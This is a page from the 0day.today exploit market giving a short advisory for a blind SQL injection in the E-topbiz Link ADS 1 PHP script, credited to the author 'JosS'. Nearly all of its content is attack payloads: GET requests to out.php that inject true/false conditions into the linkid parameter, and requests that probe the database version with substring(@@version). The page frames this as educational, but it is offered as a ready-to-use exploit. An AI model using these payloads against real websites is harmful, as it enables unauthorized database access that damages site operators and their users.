[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

E-topbiz Link ADS 1 PHP script (linkid) Blind SQL Injection Vulnerability

Author
JosS
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-11179
Category
web applications
Date add
05-03-2010
Platform
unsorted
=========================================================================
E-topbiz Link ADS 1 PHP script (linkid) Blind SQL Injection Vulnerability
=========================================================================

# E-topbiz Link ADS 1 PHP script (linkid) Blind SQL Injection Vulnerability
# url: http://e-topbiz.com/oprema/pages/linkads1.php
#
# Author: Jose Luis Gongora Fernandez 'aka' JosS
# site: http://hack0wn.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers!
 
proof of concept:
GET /out.php?linkid=50+and+1=1 (true)
GET /out.php?linkid=50+and+1=2 (false)
 
exploit :
GET /out.php?linkid=50+and+substring(@@version,1,1)=4
GET /out.php?linkid=50+and+substring(@@version,1,1)=5



#  0day.today [2024-11-15]  #